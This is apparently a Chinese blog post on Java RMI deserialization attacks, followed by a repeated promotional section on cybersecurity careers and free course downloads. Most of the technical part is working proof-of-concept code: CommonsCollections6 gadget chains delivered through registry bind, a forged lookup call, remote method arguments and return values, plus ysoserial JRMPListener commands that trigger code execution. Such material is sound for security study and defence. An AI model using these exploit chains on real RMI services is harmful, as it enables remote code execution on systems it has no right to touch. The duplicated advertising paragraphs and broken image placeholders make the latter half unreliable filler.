RMI-攻击方式总结

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

RMI,是Remote Method
Invocation(远程方法调用)的缩写,即在一个JVM中java程序调用在另一个远程JVM中运行的java程序,这个远程JVM既可以在同一台实体机上,也可以在不同的实体机上,两者之间通过网络进行通信。java
RMI封装了远程调用的实现细节,进行简单的配置之后,就可以如同调用本地方法一样,比较透明地调用远端方法。

RMI包括以下三个部分:

Registry:
提供服务注册与服务获取。即Server端向Registry注册服务,比如地址、端口等一些信息,Client端从Registry获取远程对象的一些信息,如地址、端口等,然后进行远程调用。

Server: 远程方法的提供者,并向Registry注册自身提供的服务

Client: 远程方法的消费者,从Registry获取远程方法的相关信息并且调用

测试环境:JDK8u41

Client 和 Regisry
基于Stub和Skeleton进行通信,分别对应RegistryImpl_Stub和RegistryImpl_Skel两个类。

Server 攻击 Registry

Server 端在执行bind或者rebind方法的时候会将对象以序列化的形式传输给 Registry,导致 Registry 反序列化被 RCE。

Registry

package SAR;
import java.rmi.registry.LocateRegistry;
public class RMIRegistry {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            System.out.println("RMI Registry Start");
        } catch (Exception e) {
            e.printStackTrace();
        }
        while (true);
    }
}

Server

package SAR;

import com.sun.corba.se.impl.presentation.rmi.InvocationHandlerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import util.Calc;
import util.Utils;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMIServer {
    public static void main(String[] args) throws Exception {
        // CommonsCollections6
        TemplatesImpl templates = Utils.creatTemplatesImpl(Calc.class);
        Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
        HashMap expMap = new HashMap();
        expMap.put(tiedMapEntry, "value");
        outerMap.clear();
        Utils.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
        // bind to registry
        Registry registry = LocateRegistry.getRegistry(1099);
        InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap);
        Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);
        registry.bind("pwn", remote);
        // registry.rebind("pwn", remote);
    }
}

InvocationHandlerImpl

package SAR;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class InvocationHandlerImpl implements InvocationHandler, Serializable {
    protected Map map;
    public InvocationHandlerImpl(Map map) {
        this.map = map;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        return null;
    }
}

为什么需要InvicationHandlerImpl?

实现了Remote接口的对象才可以被 Server 绑定,CC6 最后要反序列化的是一个 Map
类型的对象,显然不可以被绑定,所以这里就需要用一层动态代理,用InvocationHandlerImpl对象(handler)把Remote接口代理就可以获取到实现了Remote接口的对象。

代理对象内部有InvocationHandlerImpl对象的引用,而后者内部也有一个expMap的引用,三者都实现了Serializable接口,由于反序列化具有传递性,当代理对象被反序列化的时候,最后也会导致expMap被反序列化。

备注:这里的InvocationHandlerImpl可以用现有的AnnotationInvocationHandler代替。

Client 攻击 Registry

Registry 端在接收请求的时候会将数据进行反序列化处理:

备注(方法和 case 的对应关系):

所以如果控制lookup方法的参数是一个恶意对象的话,那么就可以攻击 Registry 达到 RCE 的效果。

主要问题在于lookup方法接收一个 String 类型的参数,无法直接利用,需要手动模拟RegistryImpl_Stub#lookup方法传递过程:

Client

package CAR;
import SAR.InvocationHandlerImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.UnicastRef;
import util.Calc;
import util.Utils;
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
public class RMIClient {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = Utils.creatTemplatesImpl(Calc.class);
        Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
        HashMap expMap = new HashMap();
        expMap.put(tiedMapEntry, "value");
        outerMap.clear();
        Utils.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
        Registry registry = LocateRegistry.getRegistry(1099);
        InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap);
        Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);
        Field field1 = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
        field1.setAccessible(true);
        UnicastRef ref = (UnicastRef) field1.get(registry);
        Field field2 = registry.getClass().getDeclaredField("operations");
        field2.setAccessible(true);
        Operation[] operations = (Operation[]) field2.get(registry);
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(remote);
        ref.invoke(var2);
    }
}

Registry

package SAR;

import java.rmi.registry.LocateRegistry;

public class RMIRegistry {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            System.out.println("RMI Registry Start");
        } catch (Exception e) {
            e.printStackTrace();
        }
        while (true);
    }
}

Client 攻击 Server

Client 发送请求

Client
端执行完lookup方法获取到远程对象,这个对象实际上是一个获取到的远程对象实际上是一个代理对象,请求会被派发到RemoteObjectInvocationHandler#invoke方法里面去:

前面多个 if
都不满足,直接来到RemoteObjectInvocationHandler#invokeRemoteMethod:

这里的 ref 是 UnicastRef 对象,来到UnicastRef#invoke,这里代码比较长,重点地方已经标注:

而这个远程对象在执行方法的时候,方法参数类型和参数都是以序列化形式传输到
Server(var2就是方法,var3就是参数):

Server 端处理

Server 端处理 Client 请求的方法在UnicastServerRef#dispatch,对参数进行反序列化之后通过反射进行调用(var8就是
Method,var10是经过反序列化之后的参数,var1是绑定的 Remote
对象):

与客户端的marshalValue方法对应,服务端也有一个unmarshalValue方法用来对参数进行反序列化:

此外,具体执行哪一个方法是根据 hash
值来识别的:

Client

package CAS;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import util.Calc;
import util.Utils;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMIClient {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = Utils.creatTemplatesImpl(Calc.class);
        Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
        HashMap expMap = new HashMap();
        expMap.put(tiedMapEntry, "value");
        outerMap.clear();
        Utils.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
        Registry registry = LocateRegistry.getRegistry(1099);
        TestInterface remoteObj = (TestInterface) registry.lookup("test");
        // 获取到的远程对象实际上是一个代理对象,请求会被派发到RemoteObjectInvocationHandler#invoke方法里面去
        remoteObj.testMethod(expMap);
    }
} 

Server

package CAS;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry(1099);
        TestInterfaceImpl testInterface = new TestInterfaceImpl();
        registry.rebind("test", testInterface);
    }
}

接口和类

package CAS;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface TestInterface extends Remote {
    void testMethod(Object obj) throws RemoteException;
}


package CAS;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class TestInterfaceImpl extends UnicastRemoteObject implements TestInterface {
    protected TestInterfaceImpl() throws RemoteException {
        super();
    }
    @Override
    public void testMethod(Object obj) throws RemoteException {
        System.out.println("...");
    }
}

Server 攻击 Client

Server 端方法的执行结果也是以序列化的形式传输到 Client
的,还是在UnicastServerRef#dispatch方法中:

而在 Client
端同样会对方法的执行结果进行反序列化处理,UnicastRef#invoke:

所以服务端如果可以控制返回的数据为恶意序列化数据,那么客户端就会被 RCE。

Client

package SAC;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry(1099);
        TestInterface remote = (TestInterface) registry.lookup("test");
        System.out.println(remote.testMethod());
    }
} 

Server

package SAC;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry(1099);
        TestInterfaceImpl testInterface = new TestInterfaceImpl();
        registry.bind("test", testInterface);
    }
}

接口和类

package SAC;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface TestInterface extends Remote {
    Object testMethod() throws RemoteException;
}


package SAC;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import util.Calc;
import util.Utils;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
public class TestInterfaceImpl extends UnicastRemoteObject implements TestInterface {
    public TestInterfaceImpl() throws RemoteException {
        super();
    }
    @Override
    public Object testMethod() throws RemoteException {
        try {
            TemplatesImpl templates = Utils.creatTemplatesImpl(Calc.class);
            Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);
            Map innerMap = new HashMap();
            Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
            TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
            HashMap expMap = new HashMap();
            expMap.put(tiedMapEntry, "value");
            outerMap.clear();
            Utils.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
            return expMap;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
}

Registry 攻击 Client&Server

更准确的表达是:JRMP 服务端攻击 JRMP 客户端。

使用 ysoserial 开启一个 JRMP 监听服务(这里指的是exploit/JRMPListener):

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 'calc'

只要服务端或者客户端获取到 Registry,并且执行了以下方法之一,自身就会被 RCE:

list / unbind / lookup / rebind / bind

RMI 通信过程中使用的是 JRMP 协议,ysoserial 中的exploit/JRMPListener会在指定端口开启一个 JRMP
Server,然后会向任何连接其的客户端发送反序列化 payload。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 'calc'

只要服务端或者客户端获取到 Registry,并且执行了以下方法之一,自身就会被 RCE:

list / unbind / lookup / rebind / bind

[外链图片转存中…(img-8BGUvrNN-1692774185465)][外链图片转存中…(img-YB6nxXHg-1692774185466)]

RMI 通信过程中使用的是 JRMP 协议,ysoserial 中的exploit/JRMPListener会在指定端口开启一个 JRMP
Server,然后会向任何连接其的客户端发送反序列化 payload。

题外话

初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:

2023届全国高校毕业生预计达到1158万人,就业形势严峻;

国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。

6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。

具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jrD1Rd9v-1692774185467)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20230809162658551.png)]

“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

img

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
img

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HPh7d6n8-1692774185467)(C:\Users\Administrator\Desktop\网安思维导图\享学首创年薪40W+网络安全工程师 青铜到王者技术成长路线V4.0.png)]

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z22VfEdP-1692774185468)(C:\Users\Administrator\Desktop\网安资料截图\视频课件.jpeg)]

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

img

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值